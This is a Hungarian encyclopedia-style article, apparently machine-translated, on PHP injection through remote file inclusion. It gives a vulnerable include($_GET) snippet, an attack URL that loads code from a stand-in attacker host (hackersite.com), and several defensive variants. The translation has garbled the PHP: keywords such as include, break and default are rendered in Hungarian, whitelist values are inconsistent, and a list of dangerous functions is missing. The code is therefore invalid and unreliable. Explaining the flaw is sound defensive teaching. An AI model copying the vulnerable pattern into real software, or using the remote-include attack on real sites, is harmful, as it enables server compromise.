PHP injekció

Az oldal jelenlegi verzióját még nem ellenőrizték tapasztalt közreműködők, és jelentősen eltérhet a 2020. december 1-jén felülvizsgált verziótól ; az ellenőrzések 2 szerkesztést igényelnek .

A PHP injekció ( eng.  PHP injekció ) a PHP - n futó webhelyek feltörésének egyik módja , ami abból áll, hogy idegen kódot hajtanak végre a szerver oldalon. A potenciálisan veszélyes funkciók a következők:

A PHP-befecskendezés akkor válik lehetővé, ha a bemeneti paramétereket elfogadjuk és érvényesítés nélkül használjuk.

Példa

<? ... $module = $_GET [ 'modul' ]; include ( $module . '.php' ); ... ?>

Ez a szkript sebezhető, mivel a ".php" egyszerűen hozzáadásra kerül a változó $module tartalmához, és a .php fájl bekerül a kapott elérési útba .

A támadó létrehozhat egy PHP-kódot ( http://hackersite.com/inc.php) tartalmazó fájlt a webhelyén, és ha egy hivatkozáson keresztül felkeresi a webhelyet, úgy tűnik, mintha http://mysite.com/index.php?module=http://hackersite.com/inc bármilyen PHP-parancsot végrehajtana.

A védekezés módjai

Számos módja van az ilyen támadások elleni védekezésnek:

  • Ellenőrizze, hogy egy változó tartalmaz-e $moduleidegen karaktereket:
<? ... $module = $_GET [ 'modul' ]; if ( strpbrk ( $module , '.?/:' )) die ( 'Blocked' ); tartalmazza a $modult . '.php' ; ... ?>
  • Ellenőrizze, hogy $modulea megengedett értékek egyike hozzá van-e rendelve:
<? ... $module = $_GET [ 'modul' ]; $arr = array ( 'fő' , 'körülbelül' , 'linkek' , 'fórum' ); if ( ! in_array ( $modul , $arr )) $module = $arr [ 0 ]; tartalmazza a $modult . '.php' ; ... ?>

Ez a módszer hatékonyabb, szebb és ügyesebb.

  • Minden értéket írjon át if
<? ... $module = $_GET [ 'modul' ]; if ( $module == 'fő' ) include 'main.php' ; if ( $module == 'about' ) include 'about.php' ; if ( $module == 'links' ) include 'links.php' ; if ( $module == 'fórum' ) include 'fórum.php' ; ... ?>
  • A switch utasítás használata:
<? ... $module = $_GET [ 'modul' ]; switch ( $module ){ case 'about' : case 'links' : case 'forum' : include " { $module } .php" ; szünet ; alapértelmezett : include 'main.php' ; } ... ?>

Ez a megoldás hasonló az if megoldáshoz, de tömörebb a jelölése.

allow_url_fopen A PHP lehetőséget biztosít a távoli fájlok használatának letiltására is, ez úgy valósítható meg , hogy a kiszolgáló konfigurációs fájljában a beállítás értékét Off értékre állítja php.ini.

A leírt biztonsági rés nagy veszélyt jelent az oldalra, és a PHP szkriptek készítői sem feledkezhetnek meg róla.

Lásd még

Linkek